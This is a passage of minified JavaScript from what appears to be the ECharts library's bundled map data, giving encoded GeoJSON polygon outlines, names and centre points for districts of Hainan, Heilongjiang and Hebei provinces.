IOILGAEmU[POPBVSJDREBGS[QXWSGcT}]IO_X@TGHoHOLCX\\ELT@LYTD‚aFENF\\lj"],encodeOffsets:[[112385,19987]]}},{type:"Feature",id:"469030",properties:{name:"白沙黎族自治县",cp:[109.3703,19.211],childNum:1},geometry:{type:"Polygon",coordinates:["@@D\\RV]dTXELnHr]^@LETBBRTHPi^[@U`QTHDJ`MGSogDIPKdJ`WVNHCXHl_DJR@AH`FBVPUJLHKNTJOFFZON[ZEHFCJlMJ_ŒCn`CJVNGPLTNDFIdVTWEIPmRKMc_kDMWGGUTAtJLK~\\f{pqD[LAVXRCH{HC`eŒJ`}@W^U@I@_Ya[R[@MSC_aMO@aWFmMOM@‹haGGMEmaQ[@MESHaIQJQ……MckBIw[AOSKKAMPSDSLOAV_@@`KJRbKRDfMdHZERgAWVsDMTUHqOUr@VQXTT@Tƒfg‚L^NH\\@heTCZaESNObHPƒHeZF\\X^ElM^F^"],encodeOffsets:[[111665,19890]]}},{type:"Feature",id:"469002",properties:{name:"琼海市",cp:[110.4208,19.224],childNum:1},geometry:{type:"Polygon",coordinates:["@@TP\\pATHTGlZDJGAQjE\\Rb@jVBDCN`JZ[NCNHNXbULPrP\\KNbMTLjJJRFP`“pNLZz^FLRHjVPZ@hxVKbHBHMNNJFRlLzGPnNHhIrHHADcPWdUAmEMVQDSKYHY\\EhBN^HpXGNDBNNBnIß‹Å_g{³So]ã@ORO@KMEDIVYB[WJUICudGTc]P_YWaCOOMFS[]@MMYBgOU@ISHKQQkKMHYY[MSHwUit}KF\\KFMCF]EIUBETSROUKTLT[NKTWREfJbCHBZKTFTKh"],encodeOffsets:[[112763,19595]]}},{type:"Feature",id:"469031",properties:{name:"昌江黎族自治县",cp:[109.0407,19.2137],childNum:1},geometry:{type:"Polygon",coordinates:["@@`ZĤd–`òüˆ˜ “BSPGP@VSbQ`‡@]HC~T^SE]N]FkW]E[fY„GGOPaTMbFDYfS@g[MGK]h„e@SSSRW@UVqrPVGNStCXUhBFQGYNcCeLQQaLI@_`@EUwcEaCUaMc@SK]Du`MSkKI‡~BVNL@X`‚EvYŠwHcTU@MIe@SXJbIPNVCRXbWbSAWJCRXFFL]FMPSjCfWb_L}E[TaBm^YF[XcQk@WK‰Z“JYRIZwŒ¹ "],encodeOffsets:[[111208,19833]]}},{type:"Feature",id:"469028",properties:{name:"临高县",cp:[109.6957,19.8063],childNum:1},geometry:{type:"Polygon",coordinates:["@@jD`hNd\\^dZädĒH´Op@ˆùZY\\OAGIMN[[W_NCNMKU@NUMSNCTSP@`O@WSCCI@GXQSkXKX[IK@OWqH]SkWW@_SiiYQaKCAKZaCCw@MTGAMKM]FMMIMDSM_HGHRPKCBGSJJIYH[QOJCHMBDGQJECMTDQKFGTCEGTF`NFEDMFaGSNwIiTGhYJD\\KZODC^@FTKND`XBHKJNKFBNhG^FJMPcHEZF\\QPRjQTAdgNOPgQaRSê"],encodeOffsets:[[112122,20431]]}},{type:"Feature",id:"469034",properties:{name:"陵水黎族自治县",cp:[109.9924,18.5415],childNum:1},geometry:{type:"Polygon",coordinates:["@@R]NC`YL]FoN@V[vBXVFNL@TRZalnVFVP`DlOZkVSXEE_F[EUFeH[NKTgfCbMVU^@P]ZObZP@\\QhATUfAtUasñiāEoI]eYǯ@aKmaeƒWuCºKÜKpnbHbYfUDSNCPJTRAHJTDJSfDNLHXC``VBNGTYCQDIXMDSP@xLNEFRNXBIpVNLXah@RgF@`qOML@LJNSPLbaHAh@Jdj"],encodeOffsets:[[112409,19261]]}},{type:"Feature",id:"469026",properties:{name:"屯昌县",cp:[110.0377,19.362],childNum:1},geometry:{type:"Polygon",coordinates:["@@\\OnVBFKHPJCJOJTDB\\vDINOCGJVVL^JDONEbrGTLpMVJLGjAHGRkVChF@vH^zIbTETMHAZOFC^\\DXT\\EffAP\\PdAV@UIYfS|S@YPICMeM@sC[_A]VQEwyHSMuNcAUlQJMVGMS@mVBZPFO\\CSFQK[LqDMACiUa@[QiFBRIHYCHkGSBS[oSOqB‡IE^QHCRWHIXsHU\\UC}JEjMNAN_ZƒAIhSEYfWDQGaPMTL’ERZTJb``NHV@"],encodeOffsets:[[112513,19852]]}},{type:"Feature",id:"469025",properties:{name:"定安县",cp:[110.3384,19.4698],childNum:1},geometry:{type:"Polygon",coordinates:["@@JjDNdJ\\FbKPXfZ^Ij@RZNaVSc[MsMOHQPDJcLIJ_zCG[HQxWJBHXdENRR@XQFWZQQGOFSWUCI[WCJuRGLXNMPLhCl[Ta@SqGgJMGOmyHkKEQMINMAGaGULgwY@UOGiKQ]EYyMK”oO_QEIIKiNSMa[LqOKOaVMWMGMDY\\_IKrL\\ERT[DEPYOUA@nNTUHINkRBVMdNvGTxzRF^U`BD\\@tfNDNOJ@Z{TeTJZ@VU€cB[OBOeeQT@^OXBJb\\AbWTF`RCJFH\\RDJIJFXW@WLGBKxWTSJJMTVZND@bbL"],encodeOffsets:[[112903,20139]]}},{type:"Feature",id:"469035",properties:{name:"保亭黎族苗族自治县",cp:[109.6284,18.6108],childNum:1},geometry:{type:"Polygon",coordinates:["@@FJp@fxpQ\\ApN\\GNPNBM`HLMrXLXj\\PEHnI@WUCEM\\GTc\\GZYHTPBHRCPTd€H\\K\\@HXi–BJILJJAVNTOZJNtFPC`YxDPWci@IBgbGKaTOIM@KNKrP@_hE@QbgKWUMJoWAQMFEKM@wTONCJWRCZDHSAM_UD_GWMKeCITSCGIQBGXUHQoMEEGWDQIG]FMQBMaFGueFeSQDUSDSKOCSFMLƒUaPWM_PaEGFETMX]RCRR@HXKN@JNnXXEŒSPaDI\\£FkXWIAX]xB\\GN"],encodeOffsets:[[112031,19071]]}},{type:"Feature",id:"469001",properties:{name:"五指山市",cp:[109.5282,18.8299],childNum:1},geometry:{type:"Polygon",coordinates:["@@TCNOLBTLBPx\\AJdl†NR†RIbJTGNF\\@RcIYbmHoLQdKN_fCJYbDRRXKZFVEZVXBXIJBXMdESW[CUYHUVQFQAqsEIMPYMSBUIIJKAIj•GW[@[LGScDOGQOAGSYZ[HSd[HFNVD@XmJFG[OWiWKNqGKN_MAMO[HoM[BoRewo@Y^HpITSFENc`MVCdHNIVCLJFI`NFIŒP`@VZbaf[FFJG`O\\WRFA@PVPFPPH"],encodeOffsets:[[111973,19401]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hei_long_jiang_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"2311",properties:{name:"黑河市",cp:[127.1448,49.2957],childNum:6},geometry:{type:"Polygon",coordinates:["@@VÈÞ@Žkx˜nXްVÈa°V@kôw„b‚š„JVškXlVUx„„@ŽlL@xkVV°ƒ„VbxlVUnVxk@ƒ„ƒKkŽVb„Il„@°kVl„@„™lÆnkll@@V„VXƒŽš@V„²bUlƒVlV„U„VÇn@nkJšŽlkVbœ@›x²V@n°VUnlKU„n`@n°bWLnVUblVUVVbknV`°kkŽl@@V°@nz„J@XšxlWXb°n@bƒĠlbXb™bVbƒJ@Všb„a@„„@lbUbšVmnœ@lšVmnIW‚œ@WbÞ@„n@x°@š„ĢaƐéϚnœ„‚lȝĠŻÈwm@ôçU™mm£Xy°UV™›@wÈ£Ǫ¯kõÝçUњ™Uķ‚ƒĢkVфÆšÞU°nŎ¥ČUĊx°m°¦żVƐœx°ƒÇ£@y„UônރÆ@Èĉ°Kô¦šW„kWU—bÇ»@™ÈĕWÇÈ£ŤU@›n£ÆUUKVamanwŃmÝJ¯k@JƒIkaVaUUÇbkaÆÑkWmÝUۙ™Ý@™ƒwnU±ƒ@kkV¯KUkƒJƒ¼U¦ƒšÅ@ówķaķůV¥Uaó@Åwmƒƒ_kVƒwĉ‚ĉmmn_V»™a@U™ƒVwķóƒ‚U¦LǫéóXÇmōLǓÇķxÝkƒƒĉ™kmakbUͰ@W¼„@bƒšÈÆ@Ė™L„l@„°J¯„mkl¯L݃±L—amJ@¼ƒ„™VƧUó„™UX˜ċb¯ńVbkÆÝI@llx„k°V²šV@Uxގ˜L@b„@b™`ƒšÇzkókݤ@ğ¯Wƒ™LĉǙLmmnċVkbUaƒL@ޝ„‚bU°ğL݂Ý@"],encodeOffsets:[[127744,50102]]}},{type:"Feature",id:"2327",properties:{name:"大兴安岭地区",cp:[124.1016,52.2345],childNum:3},geometry:{type:"Polygon",coordinates:["@@k›ƒϙmƏêġb™ƒ¯@@wƒmÝ@XV@IlŽl@bUxl¯VlV™bV@ULVlUV™_kx™VVV™ÈÝJ@„¯šU„™lm¯x@xóÒĉ¼m„¯Wƒxţ@Uz¯ƒWwnUwťƒ@knƒWƒ£óVƒUUwğyó¦WI—Vmm™I@±kwÇ@@bƒ@ĉ¼ó@¯wó@¯aó¼›KՃaUwmWUwÅI@aƒKó@Ua™LƒaƒVÅwō¼UUÝl±I—¤VxÇx@zkJmnn‚mbnz™xlŽƒl¯ČkJl™°@„kb„Žmx@x™@kêmVnŽWxôXšxU°„bWLóJnÇWĵ„V¦™ŽƒUUb™b™ÆġK™šk¯™VU±aXmċÑUwĉKġ„k„™ŽVxk„ÇKkbƒIƒ‚ÛXWl¯bƒŽ™X¯K™bĊš„„ÞVƚnŽĸ²lxUްn°òÈb‚¦—xVbƒŽƒ@¯„Vx@¯VķÞČlĊ°KĸŽȘI°¤ČIôŽò»ƨnȰKǬ¦ôWŎÈƨwlƒnKVXmbX`lbšwkVW‚XXŽ„L°a„ƾaĊ£nƒ°@°¥ŎzÞ¥‚»œalwôkƒJ„a@ĶK„£„bU°ĊxźVÈUĠ¥ƨ™VI@XU°x°Ln¥šw°UmwXm݁V¥Ģް@nU@mÆ£š¯lKœšÜw@aÅU‚¥UaÝIkmV²‚nn@Ķ»@Uk¥VKÞ@ÞÛ@ƒkVmĢa@_ƒJómƒǖ¯Æw—óÇa@alƒUwšwĢřšk@wÆWXUWXƒWa™m@_ƒ»ÇéXaĸwVa@ÝKkUWkX‚kšKXxƒn@lĊV@¯m¯nřÆwš¥"],encodeOffsets:[[130084,52206]]}},{type:"Feature",id:"2301",properties:{name:"哈尔滨市",cp:[127.9688,45.368],childNum:11},geometry:{type:"Polygon",coordinates:["@@°`„_šJlUšŽ@„„@V¦°JUšŽnLôlnŤ@@šÈaUÒVbkbl¤ƒzk°ÇVÛô°IlVUVôU„xÆU„Ž@bźĀ„º@¦šb@l²‚UVlœ@°ÒĠxšnXxÆVô¼Þ@Üx²KލlƒVѰUȰôlwô@²ƒĸ°„lanV@„šVŎUll@bÈnÜm„wĢ@la@ÝÞb°UXb˜lŎ²ÆškšV‚I@ŽnJnĠްknƒÜbĢwna@a˜kÞKƒĀ„a‚™œ‚‚IVbU¥wĠwkô˜xnLƒċVçkaUƒ±IUmnġW„°WôĉšalƒÞÅĵ¯@W¹XÝaƒb¯a±X¯ºLƒaVƒmkLóƒƒbkaƒVUKVkkKV_@aÝykk±L@ƒÅU@yV_™aU¥ówÇx™@UkVƒn@lƒkÅlwšWVwUkĉmkklW@šašbVwnWWƒ—wWL™™@Ušƒ™UƒÇLšÇmƒ„@wƒJĉƒL¥@ƒÝ_@a¯y„UWw¯ƒ¯Uġx¯aÝXVmaU£ó±›¯nwƒa¯óÅVƒXman™„Uƒ›lUXkWa@mkI„›ğaƒm™IklÇU™„kĊƒƒzkKƒš„lU„ōĬlš™„@ŽnX°@llUxʲmKĉVWwk@UbUK@bmVmI—ƒVmwaWxXlWȁšmºšÞÆbUxV@ĵńWÆĉLkWUbƒaWzkbĉ`U„±LklōwUVÝ£™UW`Uwk@mk¯VkaõVX@WbL™K@XƧºWzxƒK@lmX@bkVVÆk¼Vbk@Vn"],encodeOffsets:[[128712,46604]]}},{type:"Feature",id:"2302",properties:{name:"齐齐哈尔市",cp:[124.541,47.5818],childNum:11},geometry:{type:"Polygon",coordinates:["@@Þ@ށĠKV¯a°ƒ@„KVblaČU‚mnnšKĊȚKX„°ŽĠ@Þ£ôllÈy„™š_@a‚ƒ@a—KݍVwU@±™¯Uƒlkw@kÞJlÅUa°ŃČaW—šVôƒƨVšU„ƒ@»nI˜b²Kބ°Klkn°ƒ¯I@ƒƒkšK@ĕÇń™@aƒX»¯@VĵlaÿVamI@aÅÝउýƒĊȗJƒôȁÅkmƑۃ@kxġ@@l™aVk¯»ƒīŹaƒkƒ¥Å¯™JUaWU@@w™aƒ»„KUkÆkUm„UmwÛ±±UUbUŽUXƒwWwÆÝk™lkUanaWwnKl™kal¯ka™ƽa›kÅx™a¯@™amb¯V™lÇwÛĀ™V@x™šmêVƜVV‚aôV„wÈx@šˌx„¦VÞ¯VšlmX@‚ƒL@¯Ua¯LmV@„„°X„ċK™V™ƒ@UƒÈ@‚¥@w—ƒġIU™km¥Źwƒ¦¯lmn@°kxVV@¦óam„n¦l@nx™lĉVóšmx™n™ÒĉĀĊ¼„þ„šǔêÞ°ˌĠÞÒ°ĀɲĀƨźˤȤƨĊ°w@£nymwnkUUV¥ôÑVmkÆmUUVa™mVIkmô„lxkXÞþƒbl„ƒl@kV„ƆƒV„xV@š¼VÒ@šŽUŽšnnނJ"],encodeOffsets:[[127744,50102]]}},{type:"Feature",id:"2310",properties:{name:"牡丹江市",cp:[129.7815,44.7089],childNum:7},geometry:{type:"Polygon",coordinates:["@@U`lLUlVL„Ulb„aô„lKnŽU„„b‚K°¹²W°b„aÞb˜knyUlUkamř²L@m°@lšmš²n`ôÅlK„x„ÜKnxV@„l@œƒ›ÅXyW_k@™wm™ŹĕmƒX™»‚ƒÛ™l°ƒôšÈ„»š—ô˜ô_WW@Uœal»šwU@@wšUVƒš@VƒXI@w‚Ģ͑ÞȻ›aU_@mUkly@¯óV»XmWUXUWmnm¥nUUaWLk»Æ²IÇa™wÅaݰ¯nUa±a™ƒ™@¦õÆğ„@„™@Åb›xU܁nÇłlb¯¦„ôó»mƒ—@±ƒUk@Wwƒa¯xU„V°ƒxXbǎŁUV™™ƒK@¹ƒKUaȯ@ōݙXƒal™ƒlÛkalÇUǫÇńÇakbÝƆ¯nlš¯Ž@¼™VUx@x¯W¼™Æ¯šmĖ„Ĭ¯ČƒVk‚ķÅmxœ°ô²V¤‚bUnÞW°bĢw°V°„XxƒV°z@bÞ`@„‚¦„KĊŽ„I@xƒŽn„™ÈÈK‚„šV™„@VššXK˜xX„mXUx™a™b@‚kXllĊnVlUx™XkxlÆk„m@U„Vlš@ÈwôxV¦šbU`@zÆV@„²KllÞz@b"],encodeOffsets:[[132672,46936]]}},{type:"Feature",id:"2312",properties:{name:"绥化市",cp:[126.7163,46.8018],childNum:10},geometry:{type:"Polygon",coordinates:["@@ऊþÆÞ@bnJUb‚ĀnblŽĊš„„ÞlĸwǔÈŎKÈnôWǬê‚KV¥„ĸôUxš„@VšbU¼m`nnĊŽĊ„xlUšmkaVÿšLšwš@°»UmbKmݙUšwUmVknKUUl¯ƒKU™ƒUȃ‚™nK@ĠkX±lX„°„L@¯¥@wV_m›ĵ¯Ww™L¯ƒUkōƒÇVU™l›w—V󁱃¯aƒVka°wVk°mÞ¯Ŧřƙl™²™Ŏk™U@ƒmUkb¯ƒķޱ„ó@kxȯó¯VUÒk„ÝŽ±LÛwÝ@ó»ÅUWw™mğw¯Ñ›@UkV±@k™a@¥ƒ¹Źÿ@aƒÅVƒwóVVUkU¯JÜóÈUl¯„yk£laUaVÑÇb@™ţ@kmómK™V¯IU¥ƒ@@ƒ™kV™Iƒ`@ô™¼„blU„lƒ™bÈb@xÇKkĢɳaÅɆō@ƒŽVƒK@z™@@¥ÆKnÜ@@aۏUw›wnU‚ķ@ƒ_ƒV°Ž@„klVššnULVVÞbVl@°™@nx™n°LŚÆlV„ȃmU²@VmĠLƒx„n¯xkWƒzšJ‚wnLmbXbW°šÆ‚™²™@™Žšx@JVx„L‚Ā²Æ°I¯º‚È@ÒnÈ"],encodeOffsets:[[128352,48421]]}},{type:"Feature",id:"2307",properties:{name:"伊春市",cp:[129.1992,47.9608],childNum:3},geometry:{type:"Polygon",coordinates:["@@ƒKƒ¯kWW²ğl@ŽmLšÇ„„VVš„Lk°VVmLUlVn™xšVnނLnaVޝ¼™@™x™KUĀlb™n„`n„Æxô@VbU¦ĸŰĸbôxÆ@„™V¥„»„IVl°LUŽll@²„mV„x@ššÞܚÞVnŽlXÅÒlbÈaVVUblb„J@I°lÞIn‚Æ„mxnbUbVLÅVm¤@œţVǤXÈÇĖ@šÈ¼˜aXVÜaXbWŽnzŎašř„KôbšUlw@¯naÆKnUU¯Üa@mkkVUĊm„™żÝ‚ǖŽ‚K„™°L²lÆI@ƒ¯¥ĉƛVaÞk@ÝVaĠlnUVwƒœómaƒ@™wĉ@™a™VƒxamX@aƒ@UaÅLƒaVWƒ_nWm£nWm_ÅV¯ƒm@m„󤁚ݦƒ¯ÅalmX£ƒ™VWUŚw™mÇ@@IV™„WUw@ašI@„k@wŎ»Wƒ„ƒ™ÅVaœK›Ika@¥lUkUlwÅwVyÈwWU@a¯U°m—Ç@UçƒaVa¯mV»ÅwÝUlƒUk™V@k„mUk‚X£šw°@@ǃaÝIƒƒam™Ûam„¯lğmmI@J™U™l±ÅōŽ—kWa¯VÝa@Þkbġ@ƒxÛnÇm@akkōVōl±škšÅšťŚÝ°¯nUl¯xlb„U°b²„ô‚˜Uœxšk‚VÈUŎ„Vl°„šKXxͰnœU`@x°¦@"],encodeOffsets:[[131637,48556]]}},{type:"Feature",id:"2308",properties:{name:"佳木斯市",cp:[133.0005,47.5763],childNum:7},geometry:{type:"Polygon",coordinates:["@@nš„b‚„ÞJ„b@ȯ@™xW¤Vlƒn@lšUVlk„ÞVÆxU¼°nUb„bVèÈ@˜ŽnIn‚@šĢmlUw°™żƒ‚VUn@lnL@VôbšwĊ‚lœ„JķĸĢl„wôwƨxVVUƒŦšxšLź™Èš°`nnĠwŎJސĶwôJ„@¤Xn܄ĸlšn°¼È°lŽ„„Uš‚b„xš@„l@ÞÞÈm°„lôwšL°¼ĸ‚°Þ²nĠ@ôwÞ`ŤI„V„ÒĠU„„@„VJĸbƄ²@°ŽĊKšœ„JĶa̐Ȱ@ô¥°nš¤‚bČUš@Vx„mUw@a݁ţƒÇ™ķƒ@ĕķīU¯²@ÆmVÑô¯X¥ċç@™ĉ»U¥ÝţKWVÅkUVÝŎUmǍÝx¯aķxÛUóL¯a±óōb¯™ƒÑŃVÿƒ_Åķ„a@UƒK@wm@Van@UmmLVa—@VImmXUWƒÝUřƒKUwÝUUƒkVƒk@l¯X›‚Å_ƒJ¯k™Jm„ÅLƒa@¥U@¯Vƒz¯@ƒ`@¼šmxƥšŏKÛk@±laÛ@@Xm@™ƒ@xƽ@WŎnšˣĕÅ@@aÅ@@nÝbǏ¯@ƒ_U›kUWƒkb™wÝU@ç„Wlw@anIƒ¯lyœX°m°VšašÛšm@„mVwÞK°ƒšXlaXmm_ƒ@UƒkwÝK@ƒVI™ƒXmV»ƒI@aƒ¯ğW™bġaU_¯JU¯ġŽƒ„ĉ„k„ō`±nÝÆk„™bóĊ¯Xƒ‚ĢX‚mVn²JV„lbUè„ČmK—wlóğx‚xV¦UaJ›šƒbƑÿÝL—l@bmbġx"],encodeOffsets:[[132615,47740]]}},{type:"Feature",id:"2303",properties:{name:"鸡西市",cp:[132.7917,45.7361],childNum:4},geometry:{type:"Polygon",coordinates:["@@‚LšKVVnkšbVšÈb‚²U°VnklVlaÈL@anU°ÜmXV`œnôLƒèšxlŽšLX„˜L²ašVVmÈX@ķ˜lnU„Èl`ȹš@ŤŽ°U@x„KnnV„mlnnUl‚lVnnaŎwlVÞ҄@n¦šLVްlšwVk„Lšaގl„n҄š@xmLÞ¤Wnœ¼‚WÈLVVUxlÈô„„WVaU_VKšKXUÆbn™‚nôK„bÞw°bÆWXamVwœK˜™Uw¯WUk„UlJUwVUa™@@kmyzm›ĉw@kVwškƒW¯ÅKU_Vmƒƒ™xU@aW@@kK@w„a@Kƒ@@kVUƒaky°_Vm™kna¯K@™ƒL™wġk@@IÇóX™ƒwVakmV@mwXUWanƒlĉ@ǙUw™KƒƒóšܛNJۄm°@›w—Å@ƒ±b¯Wƒ¹„WVwŹĕ¯kVmōb¯w@aƒwmV™UUb™V™IkaVwķ™xk¼›b@VXXó`󗙘ƒ¼Çó™¯„kŽÜš„š¼WŽn„źĖnššxl@X`WzœÆ"],encodeOffsets:[[133921,46716]]}},{type:"Feature",id:"2305",properties:{name:"双鸭山市",cp:[133.5938,46.7523],childNum:5},geometry:{type:"Polygon",coordinates:["@@™UƒƒUwó™mÑÞÑUÝÝUkmmŃyV¯ī„¥ƒUÿĉ¯mÇkaWbÅX¯aÝxƒaóLmmšÅaWV™LULV`UbƒXóƒkÇVwUUÇKX›»XmÝ£nK@wƒ™mÑkƒÝ™bƒKUl™x¯kU™Km¥ƒ@ÝÑkUōxmbUmkVkmmnkUƒmmƒL@w¯Vţ™@Ǻk_ƒÇmV—k@ĸVx‚VȰlLkllšUbōwƒnVW¼nlUx¯XmWUnÝ@™xÝUó¼¯J@LVbkJWnkb™W¯„ÝLUxƒn@‚™n™Ü™b¯U¯n›Wkz„°mJ@bkxƒX@èÞVšxlaX„lVVœ„`°@ȐÞa@mÆ@@bÆ@ˤĖm™Xōƾ@@wš„n@@WÜ@kb@²ÜlŐLƦ™nw™@»„_°@„y°UV@@¦„bÆKnƒšI°l„IÆ`œ°W@k„llUV„ÞVVx„LƚÞVX„WVnnUJ˜@UbnKVnm@Ubn@@x„L@VƒbÆĸ„`UĀÆ„„Ò°šŎa²ô°bôKÜVĸw°bÞwȎVnÞōVUÆlXU"],encodeOffsets:[[137577,48578]]}},{type:"Feature",id:"2306",properties:{name:"大庆市",cp:[124.7717,46.4282],childNum:5},geometry:{type:"Polygon",coordinates:["@@mÇ@сǰ¹¯J±ÅÿƒKUw‚I@™wšš@š±Å‚™X¯WanamKx™I„ylX°wƒm„wğKUn±@nVDŽUƒÅkƙ¯Kšmmwš@@¯UkÝaUUVK™mU™lk@ƒ¯„U„`ĸ@V‚mœxVxܐ@bÛ@m‚ÅL@¦š@@y„L‚U„Ŏ@ÆɅɴblġÈL@wÇaša„ƒkkVƒaš»@ó¯_ÝJ™wÇaÅXny›U¯¥Å„@w™bÝa™Lmm@@ƒVUŽlbğVmš™¯Xƒm_ƒ`¯_Ux™m™L™a¯b@mƒaó¦Çk™¤V„@bóJknVx™VXx±aƒLUbVxkLVlLWlƒ@nX@VÅbWlÈnƒx„bWšÅbmŽ@xœbml°b™„XbW„XVmnn`ƒLmšnbmb@šk@mwU@@š¯Jlbk°lbkšmLXxmbVbkllšÅނxX„xVWVVa²VܲnxƒVVnÅlVlƒL„¼šb@xV@XŽVbšIư„¦„lźb„Ĭ°¼Ulšb@kĢ@lw„@ƒÜlnȂƄóȘI„ĉ"],encodeOffsets:[[128352,48421]]}},{type:"Feature",id:"2304",properties:{name:"鹤岗市",cp:[130.4407,47.7081],childNum:3},geometry:{type:"Polygon",coordinates:["@@Þ¥‚™ô£nƒn@°„ÆUn`mXn¤mX„`UX„bÆKVb„@@bnW‚b„wšUšbĊ@šx„@nbšWVmƒ_mm@ó»Um„ŘWXkĠ»²¯‚¯nķšwŎ@ĊšŎK°bĸUnјKȦĠÈbÆknJššÆUĢV°IšŽšVƾƒwaV™ƒƒkÇ¯¯»™mķkۃWm@£ƒóIĵxݏōIğxmm¯_Ç™Źš™K™wťŽ„UVUŽƧwóxƒxġkĸķƒIk›ĉ™xóa@UmK@kVmUŻ„¯šVxkŽġn™‚@mmJ¯n°V@bXVÇxUzÆxkxlVkV@¦lbœJ›LUbšÆƒ„X„ō¼@xƒl@™J@bVxƒXUš@JÈ@šn™xVÆUXš‚„W¤knÆb„°"],encodeOffsets:[[132998,49478]]}},{type:"Feature",id:"2309",properties:{name:"七台河市",cp:[131.2756,45.9558],childNum:2},geometry:{type:"Polygon",coordinates:["@@²mŎ_lƒĊƒ„ƒĢV°°IV`ĢbšaĠX„°@b„JU¼Wnš„UJ@„ÞLlxV„„@n`lIUa@K°Iô»ÞVšwÞ@VmnX°WVwmkX»‚U„mŎxVak™lkkKǯUUwÇWUn™U±b—KWƒ™Kk™w„çóK›mU_nW¯ÛmV@bÇKkbkUml¯U±VÇaU™™amlUU™LK›„k@ƒU@mwÛLƒŽƒwkLóÆm_™±™nkޝ@@n±KnŚlbkVV‚mz—lWXº@Ķ°"],encodeOffsets:[[133369,47228]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/he_bei_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"1308",properties:{name:"承德市",cp:[117.5757,41.4075],childNum:11},geometry:{type:"Polygon",coordinates:["@@lLnlmxn„„IVVlUnb@VVxXJWL@LގVnnV„J˜_@wkmšK„b‚x„wXk˜WXXšKlb²K@nVVVb„L@WlU²„lKVnUJVz@VVb@lżmVUVnbôaVX@°Ub@lWbXš@b@bVb°x„@VxÈLVlšaÆ@Þb²k°@lVUŽ@Xn@VW‚LXb@¤VXšKVVVLnm°_ƨ¤@aUIVa„alkX›°k„™V@„alwUVy„U@k󙰃na°UVUUmUÆw@mkLVUƒWVI„WšLnn@xlVnK„myU@ƒU°UXaV@U¥ƒU@Uƙ@aVUkWU¯ƒaU@WLUV@bkbmKULmKkUVUkmVIUwlWV²™Uml°U@W„LUwVm@UUK@_ƒKUUÜaXw@ƒVKUU@mVIUUlmnIVVVbÈVlKnbVKš@nI˜@nVnwVLVK„K„„˜Vnb@aUIVW@In™°@lVnIš@lWĢ@°UVL@b„@VyUUƒa@w@WUnU@Wǯ™K@UkkJWaÛbmk@mVaÞU@amkWƒ@mXUKkÿƒ£@a„kl@Um°UXwla„al@nmlXnW°znW@aƒwV™@ƒakbĉ¥VmU@ƒIƒVƒUƒJkUmWU™KbmkUaƒKkUVU@KV@@klw—™WaU@kmƒXVènbmlUUƒKƒX¯JkbƒI@JmIUWU@ƒLml@XkJ@U™kƒK@aVKwWa—IWwƒmUƒ@mU@J@UaċU™aUUƒVkI±ƒk@UUƒ@UbVVm@UVKƒLƒlkIWaULUWƒXUJU„ƒ@WbUb@lkXUxm@@JVn@J@b„nƒb@Vkx@bšLU‚Æn„JšaVXnKVVmzX‚°V@_lJXxWXƒK¯bÅamUƒ@lUI›bñJ@LÇKkIÇ`kxWL@„ƒ@@bUVUb¯xWKk„Å„VlULW@ƒŽn¦Ul@I™lmUUUVm@kWƒnkKma¯XUKWmnwVwÝL„mŽ™VUbUVWb@Lnxm„xVŽmbXx›¦@„nb@`™„ƒVƒ@kbƒLU„mVUlkbVXkºmnm@@xk¦šbĢÜlš"],encodeOffsets:[[118868,42784]]}},{type:"Feature",id:"1307",properties:{name:"张家口市",cp:[115.1477,40.8527],childNum:15},geometry:{type:"Polygon",coordinates:["@@k™ġۙal¥@wn@nml¹UWlaVknUVƒ„Kla„@„Ušƒ@_ma@ƒœ¥WwnaU‚wnƒmw@KXaVUVašUnmWUk°™lƒnUVUXWVw™IWVóKUI@WXƒxUU@mma@kUKWLkw@yk@ƒaVkUUċaUU@Wk@Unm@UVmLm±IUƒkJ™kWƒ@a„I@m@U„ƒVƒ„Ula„@VXVƒXmVwnkWKƒKU_k@m¥ƒmX_™JmnU@km@U@KmU™VƒU@U™@Umk@@LƒmW@Û£Wƒka@wk™@aƒI@mmk@mUa@UmUƒIƒwW@aWUƒbU@kbÇ@kwƒ@makVUk™U@aƒm@aU@mxkUƒbƒKUXUƒ±KXVWLUK@wkU@V™@WXUa@WbUxƒJIƒŽ@¦VèVVX@±ê¯KUIƒ`¯UULVx@Vƒ@UKƒIƒVkLmVkKmš@nUJÝbkIUJVXšVVxVbU„VJ„Un™°bV„mlU°„XnK@Ul@lVÈVUXšx@W„@VXšV‚KÞb„n@VnbV„m`ƒUx™kW@UVkL™Km¼@lUnUJVnV„XV@Vm@@LV„klƒIkl@VƒWlŽULWKUL@mJ„@blbUVUlmzUJUxm@UUbċÜk@Ub@VšLVV„¦ôbVŽmšUKUkU@m„„@VlVn¼WbUJ¯@@„°šnIllÈl˜@nXšWlLœk‚J@bkxlxkxlXUlklJƒšXL@bW„n`@nƎXxlL@xl@Xb‚LœKlVlIXblVUbUJW@lX@VL@VVŽšXšJšw„n@WnL°K„bVbl@VI@K„@U@nmVmV@XUWI@aXm@™VUUkWmn@lmUUk@mUmK@UnwVĉ@ƒƒmU_V@XJôVVUšLVUn@šllUnJl_n@šml@XŽlLlw²LVJUL@VmbVblVXmVnlš@Ť¦„nn@܎@bšl„@@XV`„Unb@VlLVb²J‚Xn¥ÆÑ@¥Þ@"],encodeOffsets:[[118868,42784]]}},{type:"Feature",id:"1306",properties:{name:"保定市",cp:[115.0488,39.0948],childNum:23},geometry:{type:"Polygon",coordinates:["@@VbXWš@@UlV@xVLXKWU²LV„VW„L„alVnwV@@b„n@bšVVllUnb„@lxÈ@laV@„aXV@b‚X„x„J‚nV@VVb@nnl@n„J@blšl@„ašƒU_VWUwVUškUm™Ukb±mVwœU@VIUW@UWk„@VU@ynL„m@IV@‚bnK„LVaVmnIlaXwV@@WVL°@@xnX„@V`V@VbUVVLVKnwnL@ll@@_V@VVnaÆ@œKVXÆ@nƒ@wƒKmU—™Wm@km@kÜKXU@ÑW±nIUwVƒ„Kla@I°wU±kškmm¯mƒ_ƒJnƒaƒwW@IVaUama@wƒUƒmU@mVw@aXk@mWa@£km@aƒ_kVmUnWW@¯bƒkUmk@ƒVÇm@@kUU™KUU™@UVUamVUaWIkb@xU@@amUkKƒVkam@@kVUkUWmKmUkLUb@xmJƒ™U@UImVÛVmnUwƒJƒU@VƒX@UWm@Ub°¦UšmxklmX@`ULU@@UW@@xkn¯@makV™UmxUb™°ƒlUšƒbUbƒnUJƒUUVƒa™LkbUU›JUU@mUUUƒJkaƒ@™xUIWJƒUnƒJ@V™zƒ@kb@`@b